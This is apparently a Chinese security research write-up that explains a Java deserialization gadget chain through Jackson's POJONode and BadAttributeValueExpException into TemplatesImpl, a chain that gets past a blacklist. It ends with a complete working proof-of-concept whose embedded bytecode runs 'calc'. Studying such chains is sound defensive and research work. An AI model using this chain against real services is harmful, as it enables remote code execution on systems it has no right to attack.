前言

在一次审计过程中发现了一处原生反序列化漏洞的点,但利用漏洞却花了很长时间,这里简要记录下。

程序是一个spring boot的应用程序,使用黑名单限制了很多原生和常见第三方库的反序列化链子, 因此只能重新从依赖中寻找可用的gadget。

最后从spring boot自带的Jackson中找到了一条。

思路

我们有一个原生反序列化的api接口 -> 寻找可以绕过黑名单的gadget -> 寻找gadget后续的依赖链

寻找可以绕过黑名单的gadget

在这一步我发现BadAttributeValueExpException这条gadget没在黑名单内, 众所周知, BadAttributeValueExpException使用toString函数 来触发后续类,因此我们后续寻找链子需要在能用toString函数触发危险操作的类中找。(这颇有点射箭之后再画靶子的感觉在😁,但是我找链子一般是先从熟悉的开始找, 实在找不到了再写程序批量扫)

(以下是BadAttributeValueExpException的readObject方法)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

val = valObj.toString(); 这行即为触发点

寻找Jackson内的可序列化类

由上一步, 我们需要在依赖内找到可用的toString可序列化类。 看到toString函数加反序列化,熟悉的师傅可能会马上联想到fastjson也由toString函数 触发原生反序列化(见https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/)。

那么我们也可以很自然的想到,或许JackSon也可能存在类似的类可以触发原生反序列化。

在jackson源码包内搜索implements java.io.Serializable 或者 implements Serializable, 得到的类逐一排查,找到了一个符合要求的类–POJONode

POJONode

POJONode继承自抽象类ValueNode, ValueNode继承自BaseJsonNode, BaseJsonNode 有一个toString方法,

1
2
3
4
@Override
public String toString() {
   return InternalNodeMapper.nodeToString(this);
}

存在一个InternalNodeMapper.nodeToString的方法。 这个方法干了啥呢, 举个例子, 我们有如下这个类:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
class A implements java.io.Serializable{
    private String b;

    public String getB() {
        System.out.println("aaaaa");
        return b;
    }

    private void readObject(){
        System.out.println("bbbbb");
    }
}

如果我们把它实例化并且传入POJONode中

1
2
3
A aa= new A();
POJONode pojoNode = new POJONode(aa);
pojoNode.toString();

在调用pojoNode.toString();后,发现getB函数被调用, 猜测是POJONode toString 类是会自动调用get函数。

调试一波, 在BaseJsonNode的toString函数处打个断点,逐步调试下去。

前面都是些拿值取值的操作,一直到BeanPropertyWriter类的serializeAsField

看688行, 其中_accessorMethod是getB函数, bean是我们实例化的A类,在此处调用A实例的getB函数。

全部调用栈如下:

执行命令

既然能触发get方法的调用了,那么可以通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码,最终触发恶意方法调用。

利用demo如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;

import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;


public class JacksonSerialize {
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code =
                Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1" +
                        "bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNo" +
                        "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUB" +
                        "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUv" +
                        "eGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs" +
                        "L2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2Vy" +
                        "aWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJj" +
                        "ZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACAB" +
                        "ABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv" +
                        "eHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" +
                        "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEA" +
                        "EWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEA" +
                        "BGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAA" +
                        "AAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAsACwAAAAQAAQAMAAEABwAN" +
                        "AAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAA4ADwACAAkAAAAu" +
                        "AAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABEABAASAA0AEwALAAAABAABABAA" +
                        "AQARAAAAAgAS");
        Templates templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode pojoNode = new POJONode(templates);
        
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,pojoNode);
        

        ObjectStreamClass objectStreamClass = ObjectStreamClass.lookup(POJONode.class);
        Field field = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
        field.setAccessible(true);
        field.set(objectStreamClass, null);



        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(poc);
        baos.flush();

        FileOutputStream fos = new FileOutputStream(new File("myFile"));
        baos.writeTo(fos);


        File file = new File("myFile");

        byte[] fileBytes = new byte[(int)file.length()];
        FileInputStream fis = new FileInputStream(file);
        fis.read(fileBytes);
        fis.close();

        ByteArrayInputStream bais = new ByteArrayInputStream(fileBytes);
        new ObjectInputStream(bais).readObject();
    }
}

总结

通过BadAttributeValueExpException反序列化时会自动调用的toString函数, 我们找到了在JackSon内的POJONode的toString会自动调用bean的 get方法, 通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码,最终触发恶意方法调用。